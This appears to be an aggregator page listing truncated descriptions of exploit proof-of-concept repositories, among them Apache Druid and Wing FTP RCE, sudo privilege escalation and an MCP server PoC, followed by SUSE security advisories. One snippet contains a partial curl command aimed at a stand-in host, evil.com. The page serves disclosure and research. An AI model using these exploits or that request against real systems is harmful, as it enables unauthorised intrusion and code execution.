CVE-2018-1000199

CVE-2018-1000199 The Linux ptrace code virtualizes access to the debug registers, and the virtualization code has incorrect error handling. This means that if you write an illegal value to, say, DR0, the internal state of the kernel's breakpoint tracking can become corrupt despite the fact that t...

Apache-Druid-CVE-2021-25646-Exploit

Apache Druid RCE Exploit CVE-2021-25646 Python exploit for Apache Druid Remote Code Execution via JavaScript code injection CVE-2021-25646. Description This script exploits an RCE vulnerability in Apache Druid versions 0.20.1 that allows arbitrary code execution through specially crafted sampler...

WingFTP-CVE-2025-47812-illdeed

CVE-2025-47812 - Wing FTP Server RCE Exploit This repository provides a proof-of-concept exploit for CVE-2025-47812 , a remote command execution RCE vulnerability in Wing FTP Server. An attacker can inject and execute arbitrary Lua-based system commands by abusing the username parameter during...

CVE-2026-23744-PoC

CVE-2026-23744-PoC PoC about vulnerability in MCP Server. automated for the part of the post with the correct body. vulnerable path: root@kitploit: /api/mcp/connect method via curl: root@kitploit: curl http://evil.com:6274/api/mcp/connect --header "Content-Type: application/json" --data...

cve-2018-1002105

This was modified from https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/. All credit goes to the kind folks at Gravitational. The original PoC code was modified to go a bit beyond checking for vulnerability and to actually run a command inside the first container...

CVE-2022-25477

CVE-2022-25477 ⚡ Simple Usage Use this project only in safe and authorized environments such as: Local virtual machines Docker containers Isolated lab setups Authorized penetration testing environments Example setup: root@kitploit: git clone cd Project use python follow below Create a virtual...

CVE-2018-1273

CVE-2018-1273 Spring Data Commons, versions prior to 1.13 to 1.13.10, 2.0 to 2.0.5, and older unsupported versions, contain a property binder vulnerability caused by improper neutralization of special elements. An unauthenticated remote malicious user or attacker can supply specially crafted...

CVE-2025-32463_illdeed

CVE-2025-32463 — sudo -R Privilege Escalation Exploit illdeed Variant This is a refactored proof-of-concept PoC exploit for CVE-2025-32463, a critical vulnerability in sudo versions 1.9.14 through 1.9.17 that allows local privilege escalation to root via sudo -R and a fake NSS module. ⚠️ This...

CVE-2016-10033

CVE-2016-10033 – PHPMailer Remote Code Execution 📌 Description This repository contains a proof-of-concept PoC exploit for CVE-2016-10033 , a vulnerability in PHPMailer versions prior to 5.2.18. The issue occurs when the $additionalparameters argument of PHP's built-in mail function is improperly...

vsftpd-cve-2011-2523-lab

Exploitation of VSFTPD 2.3.4 Backdoor CVE-2011-2523 A hands-on penetration testing lab demonstrating the identification and exploitation of the VSFTPD 2.3.4 backdoor CVE-2011-2523 on the intentionally vulnerable Metasploitable2 virtual machine using the Metasploit Framework. Disclaimer This proje...

CVE-2023-25202

CVE-2023-25202: Insecure file upload mechanism Description CVE-2023-25202 involves an insecure file upload mechanism within the Therefore application, which is overly permissive in the types of files users can upload. The application only blocks uploads of HTML, EXE, and BAK files, leaving it...

Security update for php-composer2

This update for php-composer2 fixes the following issues: CVE-2026-45793: GitHub OAuth tokens failing regex validation can cause credential disclosure bsc1271504. CVE-2026-59944: path traversal and link following issue can make files world readable and executable bsc1279898. CVE-2026-59946: packa...

SUSE-SU-2026:4283-1 Security update for php-composer2

This update for php-composer2 fixes the following issues: - CVE-2026-45793: GitHub OAuth tokens failing regex validation can cause credential disclosure bsc1271504. - CVE-2026-59944: path traversal and link following issue can make files world readable and executable bsc1279898. - CVE-2026-59946:...

Security update for the Linux Kernel

The SUSE Linux Enterprise 12 SP5 kernel was updated to fix various security issues: The following security issues were fixed: CVE-2025-40277: drm/vmwgfx: Validate command header size against bsc1254894. CVE-2025-68214: timers: Fix NULL function pointer race in timershutdownsync bsc1255225...

SUSE-SU-2026:4282-1 Security update for the Linux Kernel

The SUSE Linux Enterprise 12 SP5 kernel was updated to fix various security issues: The following security issues were fixed: - CVE-2025-40277: drm/vmwgfx: Validate command header size against bsc1254894. - CVE-2025-68214: timers: Fix NULL function pointer race in timershutdownsync bsc1255225. -...

Security update for cups

This update for cups fixes the following issue: CVE-2026-87875,GHSA-559w-7676-3xrq: heap out-of-bounds read in cupsUTF32ToUTF8 due to missing source-length bound can be reached via the SNMP supply-description parsing bsc1279945. Patch Instructions: To install this SUSE update use the SUSE...

Security update for perl-Authen-SASL

This update for perl-Authen-SASL fixes the following issue: CVE-2026-86219: replayed authentication responses accepted due to unverified nonce in serverstep bsc1279806. Patch Instructions: To install this SUSE update use the SUSE recommended installation methods like YaST onlineupdate or "zypper...

Security update for the Linux Kernel

The SUSE Linux Enterprise 15 SP4 RT kernel was updated to fix various security issues: The following security issues were fixed: CVE-2023-53109: net: tunnels: annotate lockless accesses to dev-neededheadroom bsc1242405 bsc1275784. CVE-2024-57841: net: fix memory leak in tcpconnrequest bsc1235944...

Security update for libtpms

This update for libtpms fixes the following issues: CVE-2025-49133: inconsistent parameter handling can cause out-of-bounds reads bsc1244528. CVE-2026-85769: heap out-of-bounds read in TPM2 state unmarshalling via unchecked blockskipread blocksize bsc1279628. Patch Instructions: To install this...

Security update for freeipmi

This update for freeipmi fixes the following issues: CVE-2026-50031: Denial of service via buffer overflow in ipmi-oem client bsc1267605. CVE-2026-85504: stack-based buffer overflow via malformed Fujitsu SEL long-text responses bsc1278719. CVE-2026-85505: Denial of Service via stack-based buffer...